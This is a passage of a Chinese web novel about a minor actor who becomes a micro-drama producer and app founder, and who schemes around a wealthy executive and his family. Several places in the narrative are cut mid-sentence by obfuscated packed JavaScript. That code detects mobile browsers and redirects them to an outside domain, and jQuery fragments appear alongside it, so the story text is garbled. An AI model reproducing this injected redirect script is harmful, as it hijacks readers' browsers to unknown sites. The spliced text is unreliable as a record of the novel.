100楼：不同意楼上观点，他要是真没事业心，会演这么多戏吗，哪怕是配角，也得跑生跑死啊！ …… 333楼：哇，真帅哥的帖子就是火，已经这么高的楼了，好难得。 334楼：这几年在很多婆媳剧和抗战剧里看到过他，都是陪家里老人看的，我愿称之为剧里唯一纯白的茉莉花，一眼惊艳，越品越香。 …… 999楼：真的不是翻炒吗？《回村创业，攻陷情敌》出品公司腾宇影视，腾宇影视由黎舒100％持股，他是当老板去了呀！ 1000楼：看预告透着一股贫穷味儿……糊糊当了老板也是个穷老板，投资还是差，不过也就几分钟的短视频，刷一刷也无妨，就当支持草根创业了。 …… 1001楼：草根创业都是发的免费视频，不割粉丝韭菜，让208们情何以堪？ 1002楼：他创业只要我费点流量，我给了还不行么！ 拉踩老套但有效，尤其是郫县对208们有种天然的反感，这条帖子在营销引导和路人的发散中爆了一波。 黎舒的粉丝不多，围脖超话内活跃的活粉两千多人，关注他社交平台账号的粉丝总数加起来也就一百万，但这些都是他潜在的自来水，至少他首次制片作品的根基不为0。 就这样，在开拍十天之后，《回村创业，攻陷情敌》一次性在短视频平台发布七集，宣布该剧的连载正式开启。 …… 郑可欣就是黎舒的一个路人散粉。 会喜欢上黎舒纯属意外。某天工作日，她在诊所打吊针时，电视上播放了一部狗血剧《婆婆和妈妈的婚姻战争》……怎么说呢，虽然她不愿承认自己的口味如此乡土，但狗血剧就是有种让人越看越想看的魔力，她看着看着就全身心投入了，然后突然黎舒的怼脸镜头就砸在了她的心巴上。 黎舒在剧里演的是婆婆年轻时的初恋白月光，在剧里只有两集的戏份，至今这两集都还存在郑可欣的手机里，时不时拿出来回味一下。 郑可欣不明白娱乐圈的门道，只是单纯地想：“既然是短视频，那戏眼肯定都在黎舒身上，这下能看个爽了！” 黎舒在社交平台的营业质量很高，但营业频率不高，半个月能发一条短视频就不错了，这导致粉丝们对他总是有种“看不够”的心态。 黎舒称之为饥饿营销。 总之，在对黎舒的期待中，郑可欣点开了微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“哦？才一块钱，倒也不必这么为我省！我今儿高低要尝尝这花絮的咸淡！” 很多人不会在意一块钱的小钱，但是如果这部剧的花絮有十几二十个呢？ 黎舒称之为“一块钱陷阱”，让粉丝心甘情愿地掏钱购买，并且不会产生被割韭菜的抗拒感。 而这一块钱，黎舒也不会让粉丝觉得花亏了。 花絮中，赵长云和李川的互动和打闹亲密又自然，赵长云没有剧里的痞气，反倒透着憨憨直男气，而李川则透着一股温润人夫感，在赵长云将他扑倒时，他会无奈又宠溺地笑，然后抱住对方的脑袋一顿揉搓，像是在面对一只大狗。 好嗑！跟剧里不一样的嗑法！ 今晚，从郑可欣点开《回村创业，攻陷情敌》的那一刻起，就注定过不去了。 郑可欣赶紧把剧转发到姐妹群里。 “你们都给我看！现在立刻马上！我拿头保证不亏！今晚我们大家都别睡了，嗨起来！” 不知多少观众看完后和郑可欣有着一样的反应。 至于黎舒，只起到个引流的作用，在剧里的戏份甚至没有三分钟。 事实证明，很多观众上头后已经不记得黎舒的存在了，满脑子都是小情侣赶紧做恨。 24小时后，黎舒拿到了首播七集的收入报表。 剧集没开打赏，单单一个十五分钟的花絮，腾宇影视就赚到了56.9万，而剧集的总播放量也已经破了千万。 只一天，黎舒就回了将近五分之一的本。 而剧的热度还在持续发酵，随着越来越多的观众入场，接下来再出几个花絮就能回本。 当然，花絮只是小头，黎舒这边已经迅速安排上了各种周边，任由观众选购。 各大广告商也开始向腾宇影视抛来了橄榄枝。 “爆了。” 黎舒长舒一口气。 他虽然有自信，但也没有这个微短剧项目必爆的底气。 眼下既然已经证明了微短剧确实有广大市场，那么他要赶在大资本入驻之前，深耕这块市场，搭建一个属于腾宇影视自己的微短剧平台。 11. 第 11 章 《回村创业，攻陷情敌》虽然剧集本体免费，但是凭借幕后花絮、周边和广告创造了三天回本，一周收益破千万，一个月破净利润超七千万的惊人效益。 两位主演更是从十八线糊咖老叔爆改顶流，连带着黎舒和腾宇影视也红了一把，引得无数围观资本纷纷决定下水。 庆功宴上，赵长云和李川向黎舒敬酒，感谢黎舒的提拔之恩。 “腾宇影视正是缺人的时候，不知两位哥哥愿不愿意过来帮小弟一把？”黎舒言辞恳切地说，“三十多岁的年纪正是拼事业的时候，鑫程虽好，但若想更进一步，还是得换家公司。微短剧只是我创收的起点，电影才是我今后投资的大头。” 赵长云难掩欣喜，立马表态：“黎总客气了，这段时间是我们混圈以来最火的日子，黎总要是有用得到我们哥俩儿的地方，尽管提！” 赵长云和李川都看出黎舒给他们的待遇不会差，腾宇影视将来肯定是要签人的，而他们作为最早签约的艺人，只有待遇足够好，后续才能吸引其他艺人签约。 李川略有担忧：“我们肯定是愿意的，不过王总那边？” 黎舒笑道：“我跟王总私下已经协商好了，只要你们愿意签在腾宇，他连违约金都不收。” 没底线的公司很多，但鑫程传媒的王总绝对是个好人，否则也开不起一家“三金养老院”。 最近，随着赵长云和李川的爆红，已经有不少经纪公司向两人发来邀约，两人听着电话里的饼言饼语，饭都没吃就快被撑到了。 不过两人好歹在内娱混久了，深知绝大多数地方都是乌烟瘴气的，比起当两头被放血的猪，他们更想踏踏实实地长红，因此，最好的结果就是黎舒签下他们。 同时，对于赵长云和李川的经纪约，黎舒也是志在必得的。 如今腾宇影视正值发展的关键时期，如果黎舒连自己刚捧红的两个男主演都把握不住，那就是他没本事，等同于对外宣告腾宇影视是个大血包，谁都可以上来又蹭又踩。 黎舒决不允许类似的事发生，撕破脸皮也好，肮脏商战也罢，他必须要稳住这一步！他早已列下了很多备用方案，无论是王总、赵长云、李川三人之中的哪一方出了问题，他都会立刻出手。 至此，赵长云和李川的经纪约都顺利落在了腾宇影视。 对于粉丝，尤其是cp粉而言，这毫无疑问是件值得开香槟的喜事。 没有幕后资本为了利益去故意提纯粉丝、发卖cp，赵长云和李川可以体面合体，随时营业。 八月上旬，赶在暑假期间剧集热度最高的时候，腾宇影视推出的首款app——金桔影视正式上线。 距离《回村创业，攻陷情敌》在短视频平台完结的前一周，黎舒就打出了“来金桔影视app，免费直通《回村》结局”的广告。 粉丝们一看，惊呆了！ 大家都已经习惯了每日追更一集的节奏，眼看就快结局了，难免会想要囤着看，结果官方直接就把全集都放出来了！ 还是免费！ 这可谓是“天降美食”也不为过了。 混迹于各大社交平台的《回村》粉丝都在为了黎舒这普度众生的圣父之举尖叫跑来跑去。 【这一波韭菜都能忍住不割，我宣布黎舒是真爷们儿！】 【能够娶到黎舒，让我吃香喝辣住别墅开宝马我都乐意。】 【什么是宠粉？这才是真正的宠粉！以后老娘看到那些搞VVVIP和超点的平台，都要报警让民警将策划人当场击毙。（合十）】 殊不知，黎舒手里头还有名为“宠爱”的千层套路。 《回村》虽然完结了，但是还有十几部刚开的免费微短剧啊！ 这些微短剧都是黎舒在短短两周内紧急开机的，合作的主要是鑫程传媒的艺人，就如他之前说的那样，大家都住过一个养老院，有钱当然要一起赚。 但黎舒在挑选主演时也是狠狠下了一番苦工的，他早早意识到了微短剧的弊端：捧剧不捧人。 对比传统影视剧，微短剧不仅拍摄难度低，对演员的外形和演技要求也更低。在微短剧产业链中，拍摄设备、灯光设计、后期处理、镜头语言会批量生产擅长用大表情传达强情绪的“标准化演员”。 将来，随着微短剧普及，就会出现主演演了很多戏，观众却不记得ta的脸的情况。 其他平台如何黎舒管不着，至少，面对必将到来的行业洗牌，腾宇影视要用微短剧捧人。 赵长云和李川顶着两张电影脸，用演电影的演技去演《回村》，就像是用大炮轰蚊子，不光能将他们与一众微短剧量产演员拉开距离，也有利于让腾宇影视成为行业标杆。 现在，黎舒便有意拓展自己的标杆范围。 新连载的微短剧里，男频女频、古代现代、乡村宫斗，应有尽有，主打一个苏爽，该骂人的时候绝不窝囊，该扇巴掌的时候必须重拳出击，奖励在外面做完一天牛马的观众来一场一场酣畅淋漓的心灵按摩（免费），能够极大程度地增加睡前的幸福感。 而平台注册人数达标后，将会依次解锁《回村》的免费福利花絮，就跟集齐七龙珠就能召唤神龙一样，首先是一星龙珠《温泉大格斗》——谁能拒绝两个血气方刚的汉子在泡完温泉后来一场鸡裂的摔跤游戏呢？ 看剧看累了？那就玩玩app内置的小游戏程序吧！《下一百层》《欢乐找茬》、《彩色方块》、《黑白琴键》……十几款小游戏任君选择，凭游戏成绩瓜分百万奖金！ 以上种种名为福利，实则黎舒一点儿也没吃亏。 比如，小游戏虽然不能氪金，但可以通过看广告的方式，获取游戏道具，在死亡时免费复活。 腾宇影视美美领取广告费。 而累积观影时间达标后，观众就能收货满减折扣券，可以在金桔app的商城内购买各类商品，这有利于刺激观众消费。 如此一来，《回村》粉在安装完app后，当天晚上就没能从这个app里出去。 【为了看到《回村》花絮，我让我爸爸妈妈爷爷奶奶还有闺蜜都去注册金桔了，你们猜怎么着？我爸迷上了《弃少归来》，我妈迷上了《豪门复仇娇妻》，我爷迷上了《七零大厂子弟》，我奶迷上了《寡妇再嫁圆满幸福》，我闺蜜，一个集理性与才华于一身的理科直女，居然在看《辞职后我用系统打脸前老板》！而且更可怕的是，我们看完自己最喜欢的那部，看其他的剧也能美美看完！有毒！】 【啊啊啊啊游戏才是最有毒的啊啊啊！我本来只是连看三部剧后觉得亢奋过头了想玩点游戏放松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16011376|178401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下，结果不知为啥，我居然在休闲小游戏里杀疯了！主要是好友列表的大家都在比拼分数！我实在停不下来啊！】 【我用看剧送的满减券免费领了一盒鸡蛋……现在的心情就是能体会到大妈大爷领鸡蛋的心情，好爽，连吃带拿。】 【嘿嘿，独居的我抢到三十包微风牌卫生纸，最近几个月都不用买卫生纸了。】 【商店里的东西散发着朴实无华的美好光芒，太温馨治愈了。】 【真好，大家都有幸福的未来，地球这个月都不准毁灭。】 【黎舒估计投了不少钱吧，希望腾宇影视千万别倒，我还要追十几部剧呢。】 【我学营销的，一眼就看出一切都是黎舒的套路，然而该说不说我真的爽到了，就算是营销我也美美吃，他活该赚钱。】 【草了，我一个常年不追剧只看番的，居然把金桔的十五剧都一口气追下了！实在是太充实了啊啊啊啊！】 【只要金桔能尽快把那十几部剧的结局都吐出来，我就能从阴暗爬行的毒妇变成那种阳光开朗的活泼小女孩，你们能明白吗，就是那种笑起来像银铃的活泼小女孩。】 总之，得益于黎舒的种种营销策略，金桔app的下载量在24小时内冲至应用商店第一，日增量为同类应用断层第一，注册用户数量达到了惊人的500万人，用户次日留存率高达65%，次日平均使用时长达43分钟是国民级社交软件的一半。 这款研发成本不足五百万的视频app，明明只做了一些基础的功能，根本没有什么复杂性可言，居然能获得如此杰出的成绩，简直是一个商业奇迹！ 而黎舒也无疑成为了这个暑假最耀眼的年轻企业家，从娱乐圈小糊糊到身家过亿，他终于站在了资本圈的底层。 既然现在有钱了，黎舒自然也要给自己花钱买点营销。 其中，#黎舒从学霸到明星再到行业创始人#的词条在全平台爆了一把，黎舒将自己扒了一遍，巩固了一番“从草根学霸到草根明星再到草根企业家”的励志人设，顺带拉踩了一下内娱的天龙人明星。 哼哼，路人缘就是这么刷出来的。 黎舒这一忙就忙了一个半月。 期间他的行程排得满满当当，每天与各路广告商磋商，参加各种直播活动，接受专栏访谈等等。 但在这期间，他每天都不忘和裴毅寒萌萌地打招呼，晒三餐和行程，哪怕是轰隆隆的雷雨天都要在室内拍一张岁月静好、知足常乐的照片。 有时候看着在暖光灯下阅读名著品尝奶茶认真摆拍的自己，一个恍惚，他都快忘记自己是个追名逐利、手段阴险的毒夫了。 时间来到八月下旬。 连日疲惫的黎舒打算给自己一天休假，才刚立下“鬼来了都不从床上下来”的flag，乔凛便发来了消息。 兴许这就是报应，怕什么来什么。 【裴毅寒今早因胃病住院了，你要有什么小计划吗？】 黎舒艰难起身，浑身散发浓浓的负面能量：“再不痛快他也去医院住着了，我又不是神医，过去给他打call他就能回血还是怎么着？” 乔凛那边停顿了几秒。 【……你好，请问手机的原主人在哪？如果你私吞他人财物不肯归还，我要报警了！】 12.第 12 章 “毅松是你的亲弟弟，你是大了他将近一轮的哥哥，帮他摆平那些事是理所应当的……” “毅寒，我们分手吧！” “比起当个玩意儿，我更希望能成为你的噩梦。” “咚、咚、咚……” 心脏狂跳如擂鼓，喉咙像是被无形的手扼住，连出声反抗的力气也被抽干，裴毅寒感到自己不断地下坠、下坠…… 直到一阵模糊的敲门声打断了无止境的梦魇，他才像是抓住了救命稻草的溺水者，在穿过分隔现实与梦境的水面后，艰难地张开了沉重的眼皮。 “请……咳咳咳，请进。” 静脉注射的药水副作用令喉咙干涩无比，裴毅寒被自己磨砂般粗哑的声音难听到了，用自由的那只手去够床头柜的水杯。 一个不小心，水杯便掉在了地上。 “裴总，病房里怎么就你一个人啊？”黎舒一进门便撞见这一幕，连忙将保温壶放在空桌子上，用一次性纸杯帮裴毅寒接了杯水，“要喝水是吗？我给你倒！” 然而，在接过纸杯的时候，裴毅寒一时没拿稳，又让纸杯掉在了被子上。 黎舒连忙扯过纸巾，在水彻底渗进去前将被子擦干，语气担忧地说：“还是我喂你吧，你别动，连杯子都拿不稳的人不要逞强了。” 裴毅寒虽然有些尴尬，但眼下他确实身不由己，只得点了点头。 这样的照顾他还是头一次在温茉茉外的旁人身上体会到。 干涸的喉黏膜宛如久旱的土地，裴毅寒脑袋前仰，试图让纸杯更加倾斜一些。伴随着接连几道渴求的“咕噜”声，水珠沿着他的唇角向下流淌至喉结，然后渗透进丝绸睡衣领口处若隐若现的胸肌中。 黎舒瞟到这一幕，眼神飞快地闪过一抹幽暗。 四十度的身体，很难不让人好奇呢。 喝下一杯水后，裴毅寒抿了抿嘴角，口渴的感觉缓和了许多，但还不够。 “麻烦帮我再倒一杯。” 黎舒摇摇头，用纸巾帮裴毅寒擦了擦嘴角：“裴总，你是胃病，喝水也不能喝太猛的，先忍忍，待会儿再喝。” 裴毅寒下意识地将脑袋往后靠了靠，不是很习惯这种亲昵接触。 “嗯……谢谢，麻烦你了。” 裴毅寒靠坐在床头，试图维持矜贵与体面的气场，可因病带来的水肿和大红脸令他看起来像一只熟透的番茄，严肃地等待采摘。 当然，裴毅寒是没有这份自觉的，看向黎舒，低声问：“你今天怎么过来了？” 他胃病住院的事情没有对外透露，只有极少数人知道，而且黎舒这一个半月忙得脚不沾地，居然还能抽出空来看他。 黎舒：“是别人跟我说的。” 裴毅寒脑海中瞬间浮现出一张面目可憎的脸：“……乔凛？” 黎舒短暂地犹豫了一下：“嗯，是乔姐。” 裴毅寒言之凿凿：“她有幸灾乐祸。” 黎舒干笑两声：“呵呵……不过也是多亏了乔姐，我才能知道你病了，不然我还会以为你是单纯忙忘了。” 裴毅寒定定地看了黎舒一会儿，嘴角向上翘了翘：“这次，确实是多亏了她。” 如果不是黎舒赶来，他现在恐怕还要深陷在噩梦里。 “我在来之前特地给你熬了山药鸡丝小米粥，营养又护胃。”黎舒打开保温壶，一股扑鼻的热气瞬间飘了出来，瞬间抓住了裴毅寒的全部注意力。 原本裴毅寒是没有胃口的，但是，只见保温壶里的山药鸡丝小米粥呈现金黄醇厚的色泽，伴随着调羹的搅动，粒粒饱满的小米呈现出恰到好处的饱满形态，同时山药糊和鸡丝的加入令它的鲜味变得更加丰富。 无法想象这一碗粥会有多么美味。 就在黎舒刚盛出一碗粥时，他忽然想到一个问题：“啊，我得先去问问大夫你现在能不能进食，你等等，我马上就回来。” 说罢，黎舒便匆匆跑开了。 裴毅寒和这碗粥大眼瞪小眼。 粥桑：来猜猜你有没有享用本大爷的口福？ 一分钟后，裴毅寒才惊觉自己表现得像个三年没吃饱饭的饿鬼，着实丢人。 幸好病房里除了他和这碗散发多余魅力的粥，就没别人了。 约莫五分钟后，黎舒回来了。 在裴毅寒暗藏灼热的视线中，他作势将勺子往自己嘴里送，十分遗憾地说：“大夫说你三天内都不能进食，这东西放不了三天，我只好先自己吃了。” 裴毅寒有些急，可是又深知自己应该谨遵医嘱不能急，于是一张帅脸都快憋冒烟了。 忽然，一勺子猝不及防地送进他的嘴里，然后快速抽离。 裴毅寒下意识将嘴里的小米粥咽了下去，甚至还没来得及尝味道。 就见黎舒神情促狭：“抱歉，开玩笑的，大夫说你可以吃……裴总刚刚是不是急了？” 裴毅寒诡异地沉默三秒：“……没有。” 黎舒挑眉：“裴总，你知道你现在很符合一句成语吗？” 裴毅寒：“是什么？” 黎舒：“打肿脸充胖子。” 裴毅寒微微一怔，依旧板着一张严肃的脸：“我没有。” “好的好的，你没有。”话是这么说，但黎舒一脸“我不信”，裴毅寒也无法狡辩什么。 小米粥在保温壶里比较烫，黎舒吹了吹，再给裴毅寒喂下。 “小飞机来咯？” “胡闹。”吃到第三口，裴毅寒僵硬的味蕾才渐渐复苏。 小米粥的口感清香醇润，无需咀嚼便能直接滑下喉咙，一点儿也不油腻。 “光是鸡汤我就熬了两个小时呢，我以前从没下过这么久的厨房。”黎舒的语气透着几分骄傲，显然相当满意自己的作品。 “熬好鸡汤后，撇去上层的鸡油，再直接用鸡汤去熬小米粥，放的小米不能多也不能少，而且中途绝对不能加水，保证口感的同时，营养也能锁在汤里。” 裴毅寒肠胃不好，家里的保姆阿姨时不时就会煮一些羹粥之类的料理，但不得不说，黎舒做的一点儿也不输保姆阿姨，而且还有一股独特的清香风味儿。 可能类似的料理，放不同人手里做，就会是不同的味道吧。 空荡荡的胃里泛起暖洋洋的安全感，内心更像是被浸泡在温泉里一般熨帖，裴毅寒身上那股拒人于外的气势渐渐消融，整个人不自觉地朝黎舒身边靠了靠。 美食作战圆满成功。 黎舒脸上写满了笑意。 这道粥的确是经过他的手才端出来的，但原品是他让乔凛家的大厨做好了装进保温壶里，他再往里面加了点桂花，且桂花正好可以在他来医院的路上充分泡开。 ——别小看这点儿桂花，这就是他黎大厨特有的风味儿！裴毅寒跑其他地方都吃不到的风味儿！ 吃完一碗粥后，黎舒便将保温壶阖上，嘱咐裴毅寒“少吃多餐”。 这一系列无微不至的照顾让裴毅寒的心防一降再降，开心的同时，心里又有种说不出的憋闷感。 所谓患难见真情，生病时的照顾等同于必杀技，效果比十次平A都要好。 “裴总，我们这些日子都有聊天，我知道你的三餐都挺规律的，为什么好端端地犯了胃病，还发高烧了？”黎舒握住裴毅寒的手，眼眶微微泛红，“是因为压力吗，能不能跟我说说？就算我不一定能帮上你的忙，说出来后也一定能轻松很多的。” 裴毅寒意动了一瞬，不太坚定地侧过头：“……是一些家事罢了，你不必知道。” 裴毅寒的拒绝让黎舒悲伤地叹了口气。 但黎舒并未放弃。 “我想知道，让我知道吧。”黎舒握着裴毅寒的手更加用力，郑重地说，“裴哥，我能体会到你的心情，我们都是背负着童年的伤痛成长起来的，我一眼看出，你不是在爱中长大的孩子。” “我……”听见黎舒的话，裴毅寒故作镇定的表情“咔嚓”一下浮现裂痕，并在某个瞬间流露出惊恐之色。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不对哦，裴哥。”黎舒神色一紧，“一个被窝睡不出两种人，我没记错的话，你爸跟你大伯是双胞胎吧？” 裴毅寒：“‘一个被窝睡不出两种人’是这么用的吗？” “这不重要，意思差不多到位就行了。”黎舒语气焦急，“都说双胞胎是最亲的，你大伯跟你爸可能是一个唱红脸一个唱白脸的拿捏你呢！你好歹也做了几年的裴氏集团掌权人，我就当你是一叶障目，现在经我这么一说，你应该有所警惕了！” “……我会好好观察的。”裴毅寒认真思索良久，理智告诉他黎舒说的有道理，情感上，他却仍然放不下。 毕竟那是他大伯啊！是家里最关心他的人了！ “裴哥，我会一直支持你的。”黎舒抓着裴毅寒的手放在自己侧脸上，温柔地笑道，“既然同父异母的弟弟只会拖后腿，那不如认我这个异父异母的弟弟。” 裴毅寒凝视着黎舒的脸庞，像是要将青年的每一个微表情都镌刻在心底。 他的灵魂有一半燃烧着火焰，催促他赶紧拥抱这份温暖，另一半淬着寒霜，怀疑这份温暖是否暗藏锋芒。 除了温茉茉外，没有人会无缘无故对他好。 ——那么你呢，黎舒，你为什么对我这么好？你又想从我身上得到什么？ …… 当黎舒从病房离开的时候，在电梯口正好与一个身带檀香气的白净中年男人擦肩而过。 黎舒目不斜视，仿佛并不认识对方是谁。 裴贺泽也注意到了黎舒，青年本身即是焦点，很难让人不去多关注两眼。 但他隐约觉得青年有那么几分似曾相识。 “刚刚那个后生是谁？”裴贺泽询问身边的管家。 管家：“是腾宇影视的黎总。” “哪个li？” “黎明的黎，他的全名是黎舒。” “黎舒……”裴贺泽低喃两声，叮嘱管家，“回头将他的资料交给我，我待会儿就要。” 医院门口。 黎舒回望住院楼，面上带着一种熊孩子为了搞砸一切而去做恶作剧的无声狂笑。 “是时候让温茉茉回来了。” 13.第 13 章 出国将近两个月，温茉茉回国后，第一时间便被黎舒的助理从机场接到了腾宇影视办公楼。 助理将温茉茉从国外带回来的大包小包的礼物放到桌子上，紧接着便退出了黎舒的办公室。 “学长，都说士别三日当刮目相待，我才出去玩了两个月，你就已经是身价过亿的大老板了！不愧是我的学长！”温茉茉看向黎舒的眼神亮晶晶的，虽然人在国外，但她一直都有关注国内的信息。 作为黎舒的亲友团，她当然也安装了金桔影视的app，并且同时在追十几部微短剧，上头得很。 能够投资制作这种微短剧的黎舒简直是神仙！ 因为看不够，温茉茉时不时便在手机上撒泼打滚骚扰一下黎舒，要求关系户的特殊待遇。 最后，黎舒给了她提前两天观看最新剧集的特殊待遇——没办法，剧集边拍边播，进度再快也就这么快了，温茉茉吃到的绝对是新鲜热乎的第一口菜。 甚至因为太新鲜热乎了，时不时还能吃到夹生的部分，比如穿帮镜头、不合理的滤镜以及一些没来得及修改的字幕错误。 温茉茉看微短剧看得很仔细，会第一时间将这些错误进行上报，黎舒就当自己招了个免费审核，血赚不亏。 黎舒泡了半杯热茶，再往里面丢下去两颗冰块，递给温茉茉：“就算你这么夸我，我也变不出结局来。” “学长，没想到你是这样的学长……上好的普洱这么喝，可真是暴殄天物啊。”温茉茉看着黎舒辣手摧花的泡茶手法，不禁瞠目结舌。 黎舒露出似笑非笑的表情：“你是说，外面将近四十度的大热天，你想喝热茶？” “嘿嘿～那还是算了。”温茉茉端起茶杯喝了喝，冰冰凉凉甜滋滋的，真好喝～ 话又说回来了，她本来就不懂品茶，只要香香甜甜的就好喝。 事实上黎舒也不懂。 虽然他的礼仪很到位，还能流利地背诵茶叶的相关知识，显得他一副深谙此道的样子，但实际上他买十万一斤的茶叶摆在书柜上只是为了待客和装逼。 因为事务繁忙，黎舒也不打算抽出一个下午的时间陪温茉茉聊些没营养的话题，果断直奔主题。 “现在，我们就开始说正事吧。这一次叫你回来的理由我在电话里说过了，一方面是裴家终于没有继续争取和乔家的联姻了，另一方面，则是因为裴毅寒遇上了大麻烦。” 闻言，温茉茉的表情也严肃下来，安静地从听黎舒口述裴毅寒面临的事业危机和亲情危机。 “太过分了！裴毅寒他爸怎么这样！男人果然娶了新老婆，就不管跟原配生的孩子了！那个裴毅松先是醉驾撞死人，再是学术舞弊和行贿被抓，那老头眼盲心瞎的吗，把公司留给那坏小子也不怕被霍霍光！裴毅寒明显比那坏小子好一万倍啊！” 黎舒点点头，正色道：“虽然我是为了你才去接近裴总的，但我也确实跟他建立了一些友情，实在看不惯他被这么欺负。奈何这是他的家事，我作为外人难以插手，就想着让你回来帮帮他的忙。” “我肯定会帮他的，他现在只有我了！”温茉茉按捺住急切的心情，手指紧紧攥着裙角，“学长，听你的语气，你已经想到办法了，我该怎么做？” “你去跟踪裴毅松。” 黎舒的表情太正经，语气也太果断，以至于温茉茉怀疑自己耳朵被热出了毛病。 这主意听起来好馊啊……比她的猫儿子偷尿在她被子上三天的味道还要馊。 这是现实生活，又不是偶像剧，她全部技能点都没加在隐匿行踪上，搞跟踪那套不是搞笑吗？ 黎舒语重心长地说：“你没听错，这件事由你去做是最合适不过的，且听我慢慢道来……” 在不知情的旁人眼里，温茉茉仍然是裴毅寒的女朋友，由她去跟踪裴毅松，就算被发现了也不会遭遇安全问题，还可以震慑住裴毅松，避免他在国内闯祸让裴毅寒擦屎。 由此，裴毅寒可以获得一些喘息的时间，去处理公司的事务。 “然后，等裴总知道了你悄悄为他付出的事，就会比以前更加珍惜你，你们的关系也将得以破冰……” 一番话温茉茉听得如痴如醉，脑海中不断幻想裴毅寒抱着自己深情表白的场景，激动得快跳起来：“学长，你是我亲学长啊！” “学妹，我知道你很高兴，但你别高兴得太早。”黎舒淡淡地说，“你得对裴总说，我们是最近才开始重新联系上的，不然我担心他会误解我们之间的关系。” 温茉茉眨眨眼：“裴毅寒不是这么小肚鸡肠的人吧，学长你一直在帮我们呀。” 黎舒意味深长地轻笑一声，裴毅寒是不是小肚鸡肠，他还能不知道吗？ “毕竟我们男帅女靓，我也是一表人才事业有成的青年才俊，当初大学里就有不少人误会我们。这种事解释不清的，我可不想成为被殃及的池鱼，忙到最后里外不是人。” “学长，你自夸的点我都认，可你未免也太不信任我了……”温茉茉鼓起嘴，只觉得自己好无辜。 整整两个月，她都完全没理会过裴毅寒，这份决心，难道黎舒还看不到吗？ “对恋爱脑要随时保持警惕。”黎舒笑着戳了下温茉茉的额头。 …… 三天后，裴毅松被接回到了国内。 由于他接连闯祸让裴家丢了大脸，连能唯一拿得出手的学籍都被取消掉了，出国留学几年，除了给家里惹麻烦外，竟一无所得，可把裴父气得够呛，嗑降压药跟嗑糖豆一样猛。 若不是有妻子极力阻止，裴父恨不得拿出对待裴毅寒的法子，抽裴毅松一顿鞭子，再把他关到祠堂罚跪三天。 可最后，裴毅松只是象征性地在祠堂罚跪一天就被放出来了，鞭子也没挨。 裴父意图让裴毅松去自家公司历练，而裴毅松却表示自己年纪还太小，现在进公司还太早，再玩两年也无妨。 裴父哀叹家门不幸，子孙不肖，最后却也由了裴毅松。 出生决定一切，裴毅寒的生母已经不在了，外祖家也早早被裴家吞并，身后毫无助力。 反观裴毅松的生母，裴父的现任妻子则是强势的房地产商独女，这就说明，无论裴毅寒在集团内如何钻营，他的上限依旧不高，因为他一个人根本比不过裴毅松背后的强大助力。 裴父想让裴毅寒跟乔家联姻，也是希望能平衡一下自己两个孩子的实力，到时候分起家产来互有制约，他可不想被外人戳脊梁骨，说他冷血无情薄待了自己的大儿子。对待裴毅寒，他并非全然无情，但必须手段严酷，否则他现在的岳家可不好招惹。 对于同父异母的弟弟受到的雷声大雨点小的那点儿惩罚，裴毅寒看在眼里，内心早已麻木——除了麻木，他什么都做不到，这是他用尽一生都无法修复的不公。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16024129|178401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 而裴毅松从祠堂出来后，好好休息了两天，便又可以继续在外面浪了。 裴父专门给他配备了一名保镖，但裴毅松深知，这个保镖明面上实在保护他，实际职责却是监视他，限制他的人身自由。 “松少爷，有人在跟踪你。” 裴毅松没想到这保镖竟然还真有些用处：“我才刚回国，就有人收到消息，想要绑架我勒索赎金？不是说国内治安很好么？” 保镖摇摇头：“不是的，跟踪你的人是寒少爷的女友温小姐。” “那个野种的女朋友？”裴毅松顿时不紧张了，“她跟踪我干嘛？想给那野种通风报信啊？” 顺着保镖所示的方向看去，裴毅松看到一个戴着墨镜，穿着黑色连衣裙的姑娘在街道的遮挡物旁鬼鬼祟祟、探头探脑。 ——非常低级的跟踪方式，跟玩儿一样。 裴毅松顿时来了兴致。 他正无聊呢，就来个女人给他解闷了，还是裴毅寒的女人！ 眼见温茉茉想逃，裴毅松示意保镖将人拦下。 然后，他主动走上前，将胳膊搭在神情紧张的温茉茉肩上：“听说你是我嫂子？” “是又怎么样？”温茉茉仰起下巴，心想被抓就被抓吧，谅裴毅松也不敢对她怎样。 裴毅松听着温茉茉清脆的嗓音，顺手摘掉她的墨镜，露出底下一对波斯猫般灵动狡黠的双眸。 用审视猎物的视线扫描温茉茉的脸蛋和身材，他意外的发现，这个女人的姿色居然比他玩过的那些女模有过之而无不及。 尤其是这个女人还是裴毅寒的…… 裴毅松眼底闪过一抹浓浓的恶意，他长相随了他妈，和裴毅寒几乎毫不相似，天生的柳叶眉，狭长的三角眼，颧骨较高，透着股阴柔与暴戾。 “正巧我无聊，没事可做，嫂子不如陪我逛逛街？” 温茉茉有恃无恐道：“逛就逛，我会认真盯着你，不让你给裴毅寒闯祸的。” …… 很快，乔凛散布出去的眼线便查到了黎舒的动作。 